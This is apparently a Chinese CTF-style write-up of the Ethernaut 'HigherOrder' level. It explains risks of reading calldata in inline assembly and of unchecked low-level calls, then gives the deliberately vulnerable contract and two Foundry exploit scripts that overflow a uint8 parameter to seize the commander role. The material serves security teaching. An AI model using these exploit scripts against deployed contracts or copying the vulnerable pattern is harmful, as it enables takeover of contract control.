关于合约使用assembly操作calldata以及low-level call接受数据的弊端:

[TOC]

大部分合约的编写完全可以通过solidity完成,但是内联汇编是Solidity的一个重要补充,它让你更深入地理解底层操作和合约优化。合约在使用 assembly 操作 calldata 或使用 低级调用(call, delegatecall 等)接收数据 时,确实能实现一些底层的灵活性,但也引入了一些严重的安全风险、可维护性问题和兼容性弊端。

assembly 操作 calldata 的弊端

  1. 在 assembly 中直接使用 calldataload 加载数据时,是不做类型检查的。如果数据位置或大小不符合预期,会读取到错误的值或导致合约异常。
1
2
3
assembly {
let val := calldataload(4)
}

如果 msg.data 长度不足,则 val 会是 0,或是无意义数据。

  1. 容易受 ABI 编码方式影响

calldata 的格式遵循 ABI 编码规范。例如 uint8 也会被编码成 32 字节(左填零)。开发者在 assembly 中操作时一旦理解有误,就容易产生错误。

1
2
3
4
5
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}

​ 本意是接收 uint8 参数并写入 treasury。但由于 calldataload(4) 直接读取 32 字节,而不是仅取 uint8,攻击者可通过构造 calldata(例如 uint256 超过 255)来绕过检查逻辑并修改重要状态。虽然函数参数是 uint8,但通过 calldata 注入可以写入超过 uint8 范围的数据(例如 0xff → 255、甚至更高)。

低级 call 的弊端

  1. 低级 call 返回的是 (bool success, bytes memory returnData),不会像普通函数调用一样在失败时自动 revert。开发者若未手动检查 success,将继续执行,这可能导致状态被错误修改。
1
2
(bool success, ) = address(target).call(data);
// 若未判断 success,会忽略失败继续执行
  1. 参数位置和格式必须精确匹配 ABI

使用 call 时传入的 data 必须完全符合目标函数的 ABI,否则调用可能失败或执行逻辑被绕过。例如,如果你将 uint8 的函数用 uint256 编码,就可能被攻击利用。

call 的基本语法:

1
(bool success, bytes memory data) = address(target).call{value: amount, gas: gasLimit}(payload);
参数 说明
address(target) 要调用的合约地址
.call{value: ..., gas: ...} (可选)发送 ETH、限制 gas
(payload) 传入的 ABI 编码数据(通常用 abi.encodeWithSelector 构造)
success 调用是否成功
data 返回的原始数据(类型为 bytes memory)

abi.encodeWithSignature(...) 返回的是一个 bytes 类型的动态数组,它本质上就是一个 byte 数组,即 bytes memory,你当然可以通过索引(data[i])访问和修改它的每一个字节。这会生成一个完整的 calldata:

  • 前 4 字节:函数选择器(registerTreasury() 的 keccak256 hash 前四位)
  • 后 32 字节:参数部分,但 ABI 会扩展成一个完整的 uint256 占满 32 字节(高位为 0)

所以总共 4 + 32 = 36 字节的数组。你能通过索引 data[0] ... data[35] 访问和修改任何一位。

在 Solidity 的 ABI 编码规则中,可变长度类型(如 bytes, string, arrays)在函数调用中会被按”offset + length + data” 结构编码,函数前四个字节是 selector,后面每个参数占 32 字节,偏移量就是指向该参数数据起始位置的 相对位置(从整个 calldata 开头算起)。


✅ 以 function flipSwitch(bytes memory _data) 为例:

这函数有一个 bytes 类型参数,flipSwitch(bytes) 的 ABI 编码如下结构:

1
2
3
4
5
python复制编辑| 0x00 - 0x03 | 4 bytes: 函数选择器 selector(flipSwitch(bytes)) |
| 0x04 - 0x23 | 32 bytes: 第一个参数 `_data` 的偏移量 offset (通常是 0x20 or 0x60) |
| 0x24 - ... | 如果有多个参数,这里放第二个参数的 offset 或值 |
| offset | 从偏移位置开始:_data 的长度 (32 bytes) |
| offset+32 | 实际的数据(按 32 字节对齐) |

👇 为什么是 0x60?

这是因为在 ABI 编码中:

  • 前 4 bytes 是函数 selector:30c13ade
  • 后面每个参数都占用 32 bytes
  • 可变长度参数不在参数位置放值,而是放个偏移(指向 data 起始位置)

所以:

1
2
3
4
python复制编辑offset = 4 bytes selector
+ 32 bytes offset 指针(指向 bytes 的位置)
= 0x04 + 0x20 = 0x24(但向上对齐成 32 的倍数)
→ ABI 对齐要求偏移必须是 32 的倍数,所以下一个就是 0x60

但实际上更常见的是:

  • 如果你只有一个参数(bytes 类型),偏移就是 **0x20**;
  • 你看到的是 0x60,说明还有别的数据(如构造时的数据前缀或 padding),或者是你手动构造时加了偏移。

✅ 举个具体例子

1
2
3
solidity复制编辑contract Target {
function flipSwitch(bytes memory data) public { ... }
}

你调用:

1
2
3
4
5
solidity


复制编辑
target.flipSwitch(abi.encodeWithSignature("turnSwitchOn()"));

会生成这样的 calldata:

偏移(bytes) 内容
0x00 - 0x03 flipSwitch(bytes) 的 selector,例如 0x30c13ade
0x04 - 0x23 0x20 (bytes 参数的偏移量,从0x20开始)
0x24 - 0x43 0x04 (bytes 长度)
0x44 - 0x47 0x76227e12 (turnSwitchOn() 的 selector)

🧠 如果是 0x60 偏移

说明在你构造的 calldata 中,前面可能还插入了额外字段(比如模拟多个参数的布局),或者用了底层工具手动构造了复杂的数据布局。


✅ 总结

  • Solidity 函数参数按 ABI 编码规范进行组织;
  • 对于 bytes 类型这样的动态参数,不直接放内容,而是放“偏移地址”;
  • 偏移地址是从 calldata 开头起算的;
  • 一般只有一个动态参数时,偏移是 0x20;
  • 出现 0x60 说明你传入的 calldata 中存在更多结构,比如多参数或 padding。

比较memory和calldata

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Compare {
// calldata:更省 gas
function cal(uint[] calldata arr) external pure returns (uint) {
return arr[0]; // ✅ 可读取
// arr[0] = 1; // ❌ 报错,不能修改
}

// memory:可修改,但更贵
function mem(uint[] memory arr) public pure returns (uint) {
arr[0] = 123; // ✅ 可写
return arr[0];
}
}

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
address public commander;

uint256 public treasury;

function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}

function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
}

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

import {Script} from "forge-std/Script.sol";
import {HigherOrder} from "../src/contract.sol";

contract Attack1 is Script {
function run() external {
HigherOrder higherOrder = HigherOrder(
0x45B37F77FFF0153afF1e723a5EdB38157d1fd713
);
vm.startBroadcast();
address(higherOrder).call(
abi.encodeWithSignature("registerTreasury(uint8)", 256)
);
address(higherOrder).call(abi.encodeWithSignature("claimLeadership()"));
require(address(higherOrder.commander()) == msg.sender, "hack failed");
vm.stopBroadcast();
}
}//正常构造大于 uint8 范围的 calldata 因为calldata是32字节的,不受函数参数类型大小的影响。

contract Attack2 is Script {
function run() external {
HigherOrder higherOrder = HigherOrder(
0x45B37F77FFF0153afF1e723a5EdB38157d1fd713
);
vm.startBroadcast();
bytes memory data = abi.encodeWithSignature(
"registerTreasury(uint8)",
uint8(6)
);
data[21] = hex"FF";
address(higherOrder).call(data);
address(higherOrder).call(abi.encodeWithSignature("claimLeadership()"));
require(address(higherOrder.commander()) == msg.sender, "hack failed");
vm.stopBroadcast();
}
}//正常构造小于 uint8 范围的 calldata,再篡改calldata的字节
//两种解题思路,第一种比较直接。但是第二种值得学习一下。